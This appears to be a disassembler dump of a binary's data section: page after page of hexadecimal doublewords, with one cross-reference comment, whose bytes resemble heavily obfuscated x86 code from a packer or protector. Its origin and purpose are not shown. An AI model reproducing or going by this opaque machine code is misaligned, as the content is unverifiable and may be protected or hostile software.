		dd 6121BD9h, 0DB850F03h, 6A000004h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 8F0FC356h
		dd 6C173B72h, 0BD8315AAh, 615C812h, 0AB840F00h,	6A000004h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 0CD0FC355h, 0C6E07EF6h, 0FFD98B66h, 15C812B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 0D7FCCA38h, 0ECED296Dh, 0BD8BBD6Ah, 61218F1h
		dd 185BD29h, 0BD030612h, 6120E81h, 1AA995FFh, 6A0612h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 584358C3h, 0E9369811h, 0Ah, 31660EFBh, 0ED030293h, 0B58B39EEh
		dd 615C806h, 6C754B7h, 10001h, 57A430BBh, 5250967Fh, 188B0Fh
		dd 12E80000h, 84000000h, 735A8C82h, 200C3AF0h, 1FDCA64Ah
		dd 0E58F1852h, 310F5F5Fh, 0D1A1BF66h, 8B50585Ah, 816696D8h
		dd 0FF5B32D3h, 15C812B5h, 0C9858906h, 0FF061219h, 121C0595h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 1A58265Ch, 5AA1D210h, 6B58BFCh, 0F0615C8h
		dd 389h, 0FE8B6600h, 1A5858Bh, 6A0612h,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0EF570CC3h
		dd 0E9849AF7h, 0Fh, 494DCBD7h, 55203DB1h, 8277EE03h, 89924BCDh
		dd 0C486h, 0CD950900h, 8B061226h, 1209A195h, 49952906h
		dd 83061206h, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 0D86996C3h, 20508936h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 1AC35242h, 0D7772937h
		dd 1EAFD77Eh, 0B5858994h, 8D061200h, 15DC6F85h,	8D9D8B06h
		dd 8B06122Ch, 121165BDh, 0B8868906h, 0F000000h,	286h, 6A44B300h
		dd 31950100h, 0FF06122Ah, 15C812B5h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 7402AAA3h
		dd 10E9A063h, 3F000000h, 0A631433Fh, 0BE276309h, 212EAB9Eh
		dd 0F17038Ch, 18Dh, 95FFF500h, 61206A5h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 19h, 84C35343h, 3B545F66h
		dd 0CE821h, 0D5FE0000h,	478CA502h, 2FAE5055h, 0B589FF7Eh
		dd 6122A6Dh, 0C1BD8B5Fh, 50061211h, 9E85250h, 69000000h
		dd 0E767C34Eh, 563DF788h, 66310F5Fh, 585ADF8Bh,	6A243489h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0CB9BC357h, 0BD297AE1h, 612055Dh,	0C812B5FFh
		dd 8E0F0615h, 5, 77F78166h, 8195FF9Fh, 6A061202h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 1A6DC350h, 8B13EF13h, 1211C19Dh, 56EF8106h, 830F4571h
		dd 122A09BDh, 840F0006h, 58h, 5032DF81h, 0E8500ECDh, 11h
		dd 0D942F0CBh, 86335730h, 99945C1Fh, 0D499129h,	0EE9B6h
		dd 0B100000h, 0CE39F60Eh, 102D1742h, 3C25D44Fh,	2434895Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0A1C35545h
		dd 39BD8B2Bh, 0FC061217h, 0C812B5FFh, 6A0615h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 47AF76C3h, 4794729Eh, 48D0Fh, 0BF660000h, 95FFB7F1h
		dd 61218C1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	0B9C35242h, 861363D5h, 0C812B5FFh, 6A0615h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 63022C3h, 65021598h,	0F98B66E3h, 7259531h, 95FF0612h
		dd 6121BA1h, 0C46822BBh, 0B1BD8338h, 206121Eh, 4F840Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 858B77C3h, 61203A5h, 5D9D8Bh, 0C60612h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 12624605h, 697C6595h, 5985C776h, 6121Bh, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 87C352h, 0E800D883h, 14h,	9A895DB5h, 0A52A0566h
		dd 906A21E4h, 2941C635h, 1E310BE9h, 0EE9h, 73B32400h, 0A0A75E7Bh
		dd 527ED8A1h, 5BFC7161h, 297DBD0Bh, 0BCE90612h,	29FFFFF2h
		dd 1205858Dh, 6AC18B06h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 9B69C350h, 3707419h
		dd 0F550951Bh, 1858D5Fh, 6A06122Eh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0BFC6C353h
		dd 0E519D8Bh, 66500612h, 89246EBBh, 0BD8B2404h,	6120DD9h
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 4525CFC3h, 53AD2E7Fh, 8E941h, 0AC030000h
		dd 2063F439h, 0BD09ED3Bh, 6120149h, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0ABE989C3h
		dd 4089F373h, 8B66265Dh, 3A858DFBh, 6A0616DBh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 8B8AC351h, 5C083D8h,	0D9B70F52h, 8B60505Fh, 5B5053C3h
		dd 489615Eh, 0E19D8924h, 6A061211h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 2CA4533Ah
		dd 6A33B7h, 5E8h, 4DFB1200h, 95290C79h,	6122061h, 0B595FF5Bh
		dd 6A06120Dh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 3502C355h, 2E198589h, 8D8D0612h
		dd 615AF02h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	0A2C35747h, 0E44BFF71h,	0D35CECBFh, 618529B7h
		dd 0FF061222h, 51006AD1h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 0A9BD89D8h, 0E9061212h
		dd 14h
		dd 0FEBD05CBh, 28CC7F33h, 8D9FA65Fh, 5174C8EDh,	86E7D5C5h
		dd 7ADBD83h, 0F010612h,	5385h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 8EAF87A7h
		dd 8166BAC0h, 0FDA26E3h, 26AFBB7h, 5BFA8A52h, 89BB5190h
		dd 5B439A7Dh, 8D0F9050h, 6, 15999D8Bh, 95FF0612h, 61206A5h
		dd 99958952h, 5F061205h, 0DCDE9h, 0E800h, 815D0000h, 16DB44EDh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 72869CF8h, 66BB1EACh, 8D6B8DBBh,	15943785h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 0BF911B7Fh, 5660C7F5h, 88E0F90h,	52000000h
		dd 820Fh, 505F0000h, 11E8h, 4FCF9300h, 2DB8B21Dh, 0F45E76FBh
		dd 3793942Eh, 905F0028h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 17h, 22C35040h, 313692F4h,	121E0585h, 35FF6406h
		dd 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0B5C35040h
		dd 76CF8166h, 258964D2h, 0
		dd 2B0D9589h, 85FF0612h, 6120679h, 0E952FF6Ah, 6, 0C3F95BA0h
		dd 0FF5BCFF8h, 122A49B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0A580B0EAh
		dd 0F8B70F82h, 2CB595FFh, 39E90612h, 60000001h,	14F99D89h
		dd 0BA660612h, 0B0617C96h, 38E0F00h, 66000000h,	70E6F98Bh
		dd 7DEF8166h, 8B71E485h, 121955BDh, 0F613C06h, 10B83h
		dd 719D8900h, 0F06121Ch, 0BF60C8B6h, 0BE948DCh,	11E8h
		dd 76A44D00h, 151B8331h, 0EAABBA23h, 0F26F6351h, 9D8BB78Ah
		dd 6122D4Dh, 6BA6159h, 8B000000h, 59BD8BC1h, 0C106120Dh
		dd 0BF0F04E8h, 6860FFBh, 1000000h, 12155995h, 0E2F76606h
		dd 9D8BC82Bh, 61219A5h,	63B3D18Bh, 0ABE9h, 5E86000h, 16000000h
		dd 8B2923B2h, 0D930BE66h, 38A0F5Eh, 0F000000h, 8B61D2B7h
		dd 185h, 0B19D3300h, 0F061201h,	8Bh, 7C08300h, 0EE9h, 7DB9700h
		dd 0CDC0F715h, 0BDFDBB11h, 1764DA6h, 12013D8Dh,	0C08306h
		dd 6E8h, 0AAEEEC00h, 5B7B2BAFh,	830FD03Bh, 16h,	34D38166h
		dd 42E9C2h, 7E90000h, 7F000000h, 9871C5F5h, 8D8BB896h
		dd 0FFFFFFFFh, 3318D89h, 0E1830612h, 21840F01h,	3000000h
		dd 12137DBDh, 0FFA58306h, 0FEFFFFFFh, 1EED8D01h, 95890612h
		dd 1, 0E9D98B66h, 0
		dd 5A88B58Dh, 6A0616h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 41DAC5C3h, 0D781006Ah, 7AD9A1F5h
		dd 19CD95FFh, 0D5BB0612h, 0B91D8BDFh, 0E97h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 13C35646h, 5CF9AAC8h
		dd 14E82Eh, 0C21D0000h,	98A89D52h, 0E772A317h, 0CE4B396Dh
		dd 6E72887Ch, 5E86A62h,	38000000h, 3092F649h, 6A98D89h
		dd 5F5F0612h, 89FCE183h, 12150DB5h, 6AFC06h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 152892C3h
		dd 0C02BC652h, 435BD8Bh, 0D22B0612h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 0B3C35040h,	0CB6A0AB4h, 0E5BD2B76h
		dd 8006120Dh, 33AD06F3h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 9E7BB3C3h, 41B52956h, 5B06120Dh, 880Dh, 0E3816600h
		dd 958B8839h, 61209A1h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0C8C35646h, 6DE6E444h, 0B09C02C2h, 11E9E2h
		dd 4D790000h, 867437FFh, 0E3F2FE1Ah, 185F7AB4h,	8B7FA312h
		dd 1205058Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0E31E249Eh, 579CB740h, 8B50D1FFh
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 3D7DBF66h
		dd 0A131BB66h, 2121BD83h, 0F000612h, 3084h, 0A1858900h
		dd 0F061221h, 58Ch, 0AA8CBF00h,	0B833D8h, 0F5000000h, 4DB58D8Dh
		dd 8BBF0612h, 8957F2E9h, 12133195h, 81E1FF06h, 0A9E02EF3h
		dd 0D9BD8339h, 6121Bh, 494840Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 1DF5BC3h
		dd 0E134611Fh, 83DEBF0Fh, 121BD9BDh, 840F0106h,	47Dh, 2B0D9D0Bh
		dd 0BD830612h, 6121BD9h, 34860F03h, 6A000004h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 3156C357h, 12347D85h, 9606006h, 12314D95h, 0C5BD2906h
		dd 6106122Bh, 6AD98C66h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 70DC350h, 65579227h
		dd 8032B726h, 840F04E1h, 18h, 13E9h, 0DD6BF00h,	0A048B20Dh
		dd 62F0ABB8h, 505EBA8Ch, 0AB1A5531h, 840FC90Ah,	14Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 98C35343h, 24BB1240h
		dd 893D3EA5h, 121989BDh, 8D858B06h, 6A061230h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 0A046C357h, 77A80216h, 12E9B98Ch, 24000000h,	82D050B7h
		dd 28879AE0h, 0CD60C30h, 0D0E3AEBCh, 33DE8ABFh,	12316585h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 59C6FDDAh, 6690E842h, 5050DF8Bh,	0DA8B6652h
		dd 5060310Fh, 5A310F52h, 0D68B6658h, 90585A61h,	2EE99589h
		dd 6A0612h, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 1Dh,	72C35242h, 452EC731h, 31E6C08Ah, 0E4BF6613h, 9EE868E2h
		dd 14E9D758h, 0C3000000h, 20F1FBA6h, 0CB3D0AF9h, 47E49373h
		dd 356C38BDh, 81CDF67Ah, 65172404h, 9D8928C6h, 6121931h
		dd 237995FFh, 85890612h, 615C812h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 99C35646h, 38D0BB8Ch, 0CCE92D00h
		dd 0F000001h, 689h, 0E9858900h,	29061203h, 121C2DB5h, 0A858B06h
		dd 0F0615C8h, 0C82h, 68A0F00h, 0F000000h, 86h, 1800C700h
		dd 23000000h, 120E419Dh, 0EB58B06h, 6A0615C8h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0A529C355h, 3D5D921h, 0E901416Eh, 14E99D0Bh,	858B0612h
		dd 6122AB9h, 0B537C381h, 6893507h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 1AC35242h, 2B3EEBD7h, 25BD8B78h
		dd 8B061229h, 12308D85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 0D11D7CD9h, 7E87Eh, 0E0C60000h
		dd 3F1A81BEh, 259D2974h, 5F061207h, 23859D8Bh, 46890612h
		dd 759D8B04h, 9606122Ch, 8B505B57h, 830F96FEh, 5, 70CF8166h
		dd 0AB5FF54h, 0E90615C8h, 5, 48DCC96Fh,	0FBBF0F3Ah, 1C4F068h
		dd 0E85250F1h, 14h, 988BFBD0h, 0CCA68A0h, 0FB044ED0h, 0EE84894Fh
		dd 72C64472h, 0F5FD88Bh, 5E931h, 0F8970000h, 5A7D07B3h
		dd 24048158h, 0F1D3F0Fh, 858DDC8Ah, 615C812h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0F8C35040h, 0D19086DAh
		dd 0A75889DBh, 13E8h, 78C80100h, 0EE6B2DA8h, 0A87FEFAFh
		dd 1CDE30EAh, 0D89D029Dh, 0D6816660h, 5F61D602h, 6870F50h
		dd 60000000h, 891BBA66h, 24048961h, 2D299D8Bh, 95FF0612h
		dd 6122379h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	56C35343h, 0B11ADB6Ch, 61CCCA28h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 14h, 0E3C35545h, 1BD985C7h
		dd 30612h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0D9AC23C3h, 8B0CF86Ah, 12BD83FAh
		dd 615C8h, 55840Fh, 8C0F0000h, 11h, 0CE9h, 0CDE1F400h
		dd 0C0AB28A8h, 35CBFFF1h, 0C781660Fh, 4FE96F3Ah, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0CB08C351h, 0CE95Ch, 0F5770000h, 0E0ECC34Dh
		dd 89441BA4h, 8166BFF3h, 50D722C3h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 5085EDC3h
		dd 362371BEh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Ch,	29C35646h, 1741ECB2h, 79849222h, 6850Fh, 0BD8B0000h
		dd 612118Dh, 5E9F88Bh, 0ED000000h, 6F7AB4Dh, 1BD9BD83h
		dd 0F030612h, 40885h, 0FE900h, 0E1C90000h, 9DAEEE08h, 6CC1802Ch
		dd 994790ACh, 5E92Ah, 94590000h, 835B8464h, 15C812BDh
		dd 840F0006h, 3DDh, 1621B531h, 0B5FF0612h, 615C812h, 6BF38166h
		dd 0A5E38119h, 0FF7CE20Eh, 121AA995h, 0B58BF806h, 615C806h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		db 19h,	0
word_594F42	dw 0			; DATA XREF: ___:off_4387F8o
		dd 2DC35242h, 6B94A612h, 33C38117h, 667B1655h, 78C7E381h
		dd 106C7h, 66960001h, 0B350FB8Bh, 12E9960Ah, 44000000h
		dd 0D0718D5Bh, 0D9BBDh,	85827FC9h, 86B3493Fh, 12B5FF9Fh
		dd 6A0615C8h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 8AB7C355h, 0B06E30DAh,	953DBFC4h
		dd 7E954B8h, 2E000000h,	8496AC0Ah, 95FF953Dh, 6121C05h
		dd 12459D8Bh, 12E80612h, 1C000000h, 0A9189CEAh,	0E79B5FF3h
		dd 88C7FBBCh, 0C42209D7h, 61605120h, 0B58B5F5Fh, 615C806h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0FEC35343h
		dd 0F343E152h, 5A9BD33h, 858B0612h, 61201A5h, 22DDBD8Bh
		dd 86890612h, 0C4h, 18D59D8Bh, 8B660612h, 0A1958BDEh, 6A061209h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0F9E4C351h, 1259D2Bh, 0C2830612h,	25B58904h
		dd 8906122Eh, 6A2050h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 0C6C4F8C3h, 98089BF2h, 9D0B7C77h
		dd 6120DE9h, 2F45BD8Bh,	858D0612h, 615DC6Fh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 49C35545h, 38450480h
		dd 682E4024h, 0ED9BD8Bh, 86890612h, 0B8h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Dh, 0E3C35040h, 274AA3EFh
		dd 190CC9BFh, 0D8D2947h, 6A061223h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0CFE29CF4h
		dd 89177FC4h, 1207919Dh, 12B5FF06h, 6A0615C8h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 298CC350h, 9F761A8Eh, 8529139Dh, 6121FB9h, 308FABBFh
		dd 0BE92Eh, 5FE60000h, 51BB75D4h, 2C64BC22h, 0A595FF59h
		dd 6A061206h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 55A6C355h, 0D921A529h,	84A7D781h
		dd 66966DF6h, 0B750F98Bh, 816696AAh, 0FFE78CCFh, 15C812B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 0B97AE6ABh, 8B753A6Bh, 121D4D9Dh, 8195FF06h
		dd 83061202h, 122A09BDh, 840F0006h, 4Eh, 0DE852h, 0A14C0000h
		dd 2F5AACCh, 0F787BF85h, 5BFD6642h, 860F505Bh, 0
aI4J		db '‰4$j',0
		db 56h,	0E8h, 3
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 9EF1C356h, 11E0DF74h, 0B531A670h, 6122199h, 4018529h
		dd 0B5FF0612h, 615C812h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 40C35242h, 52853746h,	95FF8C16h, 61218C1h
		dd 0BE9h, 0FB075100h, 0D09D8A60h, 34961CE9h, 9FC3B9BBh
		dd 12B5FF30h, 0FC0615C8h, 1BA195FFh, 0BD830612h, 6121EB1h
		dd 36840F02h, 8B000000h, 1208C5BDh, 0A5858B06h,	6A061203h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 2E07C355h, 0DE8B6685h, 8B0000C6h,	12234D9Dh
		dd 5985C706h, 6121Bh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0D2F9C353h,	8B9314D0h
		dd 1231419Dh, 0F34EE906h, 9D89FFFFh, 6123175h, 6AC18Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0EF5BFEC3h, 3880F6Bh, 80000000h, 0B660CCF3h,	69BB6680h
		dd 13E96181h, 79000000h, 289DADh, 3 dup(0)
		dd 6FE90000h, 38000005h, 4B3BD945h, 5F4FED57h, 77670567h
		dd 8D7D1B81h, 25923098h, 0FB6358CAh, 12766D5Dh,	2B8B8474h
		dd 45A39D8Dh, 0D647A8A7h, 75FFF0AEh, 0F58AABDh,	0FEB4B715h
		dd 0F51D8E09h, 46FE907h, 90801EB6h, 1B8D3896h, 0E4C9D992h
		dd 42258FF3h, 3134928Ch, 721D877Bh, 0DA44A29Ch,	3E39AF7h
		dd 58C93A34h, 6FE93530h, 0BB59F13Fh, 0D472D2CBh, 0A2625B31h
		dd 0F04649A9h, 95FF5558h, 6164C4BDh, 4D50B4ABh,	373AA297h
		dd 26298781h, 35244CBDh, 0DD2B6FE9h, 2F9E7E37h,	28F7D796h
		dd 4131CF2Fh, 7DE6E947h, 4A4DAFA7h, 0EA178AF4h,	9B6FE935h
		dd 0D93004E4h, 20D81DA8h, 6Fh, 0B7150FC6h, 99D94BB4h, 8EAAD252h
		dd 93BB2CD7h, 9A6FE952h, 456FE24Ch, 0F06FE952h,	2D55C64Fh
		dd 3C6FE952h, 3E384EEh,	4EB6AB81h, 0AE8BF54Bh, 0D81DC657h
		dd 0A9Eh, 4883F500h, 0A2F0FF88h, 0FFD39A3h, 0F8AEB11Bh
		dd 0E1979A04h, 0CD0C89EBh, 0E87CE0D7h, 3BD333A2h, 5EC4BA90h
		dd 0FDB411F4h, 0F05A4E1Dh, 0A686252h, 0FDF3C96Ch, 5CF12D97h
		dd 72203BEAh, 66D045A5h, 2E31998Eh, 171A8478h, 936242FBh
		dd 0B58B369Eh, 74F25CBCh, 9D07FBD1h, 2DA449Ah, 0FE269708h
		dd 0D6FE997h, 6E2427BFh, 93691476h, 0DD33369Eh,	39FC9073h
		dd 98173FB0h, 0D8266FE9h, 6BEDCD6Eh, 8D5EDEF9h,	0A5505C3Bh
		dd 0E9880C34h, 5BC5136Fh, 1E02377Eh, 7A5ED8h, 0F040000h
		dd 0F9AFB21Ah, 6BF49F01h, 0A538A095h, 6FE9077Dh, 82E8DE8Ch
		dd 9991297Fh, 0F4D7419Fh, 0DEE1493Eh, 0C8CB3328h, 0B5B91912h
		dd 4EED5C3Ch, 0F3E8B797h, 8FDED8Bh, 271FF5A0h, 74D4CDC5h
		dd 0CEB11B71h, 0B9BC2218h, 986C4C25h, 0D81D8151h, 6178h
		dd 1A0F1E00h, 0F9AFB2h,	80399DA0h, 74DCD1A0h, 675D33D6h
		dd 98ACFE01h, 56E5B57Ch, 0DE4FFA92h, 6FE992B6h,	0D10D77C5h
		dd 5D511B0Fh, 27B05BF3h, 0E9078EB6h, 4AACA46Fh,	0A4F2F147h
		dd 0E650B6ACh, 3A289A03h, 0CCD86FA2h, 81AE218Bh, 306FE92Fh
		dd 6EC59979h, 0B5D81DA2h, 6, 0DE3C360Ch, 170F3874h, 2FCB2B5h
		dd 0FF70F9A4h, 6FE907D7h, 459C9CE6h, 0F5E342D1h, 0B910F35Dh
		dd 534B1AFAh, 8D389891h, 0E940F41Ch, 15ADFB6Fh,	58EBE277h
		dd 64E33CADh, 0DC2A69FBh, 0A09A70D9h, 65D63F42h, 75FB1B3Dh
		dd 0FC66FE4Ch, 2ECC2A24h, 3BE6443Eh, 6096F65h, 5FBFB8B0h
		dd 0B99C065Ch, 0FB1B3E68h, 9E9A275h, 8982403Ah,	0CE979D2Dh
		dd 69E66EBh, 0EF594D03h, 6FE96ECh, 51A7AA10h, 312B1BB9h
		dd 0DE67D0D3h, 0FBC2456Dh, 9C065475h, 696CCAC4h, 0DDD4AA4Dh
		dd 8E6E0F79h, 0DD3D360Ch, 47A19B73h, 9800DD4Bh,	9331C916h
		dd 3046479Eh, 1558EDEh,	0FE50000h, 5BB1B418h, 0EA5CB5F1h
		dd 0A314E57Ah, 6FE9407Bh, 3FA03482h, 83006A10h,	0C54EF988h
		dd 8F92FAEFh, 797CE4D9h, 0AE218B23h, 69FC0865h,	0AD6366B4h
		dd 14B755B3h, 0E8F21A8Bh, 70075FBh, 0F05AA8A7h,	0BDC01E18h
		dd 21897E54h, 87E5DFB7h, 0EFC56884h, 289194F8h,	0FBE88FB7h
		dd 0B8509E75h, 5F62CCC0h, 1EFE9F09h, 41EB2A9Ch,	17736AA2h
		dd 7DDBD5ADh, 0DCA3CDFh, 92683CE3h, 83DAB721h, 0CADE2FD1h
		dd 5Dh,	0B813AF21h, 81C3D048h, 6F6ADB17h, 9E0F847Ch, 6FE90776h
		dd 79F3785h, 2A90865Ch,	0DC67D127h, 16F9636Bh, 2F28FE10h
		dd 7C14786Fh, 0E2E53312h, 0E9066991h, 12F26BEFh, 0B8B0A39Eh
		dd 0A213BE56h, 9016F89Ah, 0A7CF40A1h, 0A6FE907h, 0E9077199h
		dd 2B2A786Fh, 0C8A745DDh, 73h, 80636A76h, 0E38E2688h, 0FB1B5D72h
		dd 5B5EAC69h, 0C1251CF2h, 27857F57h, 419F9989h,	23CEED3Eh
		dd 0DF9875FBh, 0D83630FFh, 1FA6A53Ah, 5D8715D0h, 3C9E969Ah
		dd 0B34BE339h, 0B3A97F08h, 8AF44A4Dh, 124FDA17h, 9A9DEB70h
		dd 898CEAE4h, 0BFB38932h, 92FC5255h, 0AE9D11F1h, 0BAF76813h
		dd 0CB6A04A6h, 2AC2261Dh, 3CB1A97Fh, 0FB66A3CBh, 0C45CAA75h
		dd 6A88DC5Ah, 0C435E063h, 69FFF087h, 8F454896h,	0B68C3795h
		dd 76F45EBCh, 2B2E8C86h, 92F4ECC2h, 0F04E76E7h,	0F5D75FFh
		dd 2E4E32A5h, 7C1D4779h, 2A62730Ah, 85EF3942h, 3B3504E4h
		dd 554F3FDDh, 483EF4F7h, 0C988DFE2h, 0C2201AE9h, 0C93A3424h
		dd 0EBA7CF40h, 68B69886h, 86EBADD5h, 0EA5BBC98h, 9886EBC2h
		dd 4BE37BC9h, 0FA348h, 2C020000h, 107A6E38h, 1C1FB70Dh
		dd 95205CC6h, 0B01C0F59h, 9FFDF7ADh, 8DEDE69Ch,	79DDD48Ah
		dd 63CBC076h, 4DB5AA60h, 389E944Ah, 25877F35h, 0E786C22h
		dd 89504D0Bh, 405E0h, 0E8830000h, 24043304h, 33240431h
		dd 685C2404h, 0D61h, 53243489h,	0C381E389h, 4, 4EB81h
		dd 1C870000h, 3C895C24h, 29BD5524h, 890616E9h, 242C8BEEh
		dd 4C481h, 8B540000h, 0C483243Ch, 4EC8304h, 81243489h
		dd 0A152434h, 478F0B52h, 8778108h, 0B520A15h, 5F2434FFh
		dd 4C481h, 348B0000h, 0E2895224h, 4C281h, 0C2810000h, 4
		dd 5C241487h, 0FB916CE9h, 2E935DFFh, 0CB86F79h,	30616EEh
		dd 0DEE0FFC5h, 63580082h, 5245C670h, 54018DD0h,	8C40BCBBh
		dd 44410839h, 2835FF19h, 0E769F1ADh, 8D302856h,	122E0185h
		dd 68F0F06h, 23000000h,	120339BDh, 4895006h, 52006A24h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 5E96Ch, 73930000h, 3162425Bh, 12234995h, 6A006A06h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 48F3C357h, 800F7Bh, 6A000000h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 712CBCAAh, 0A9A173C1h, 29609DDAh, 12265995h,	0C397BB06h
		dd 66617C3Bh, 94D8E781h, 0F136858Dh, 6A0616h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 66DA42C3h
		dd 0D8FEDF81h, 0E905C083h, 11h,	9A78AAB1h, 31B470EFh, 0D42C71h
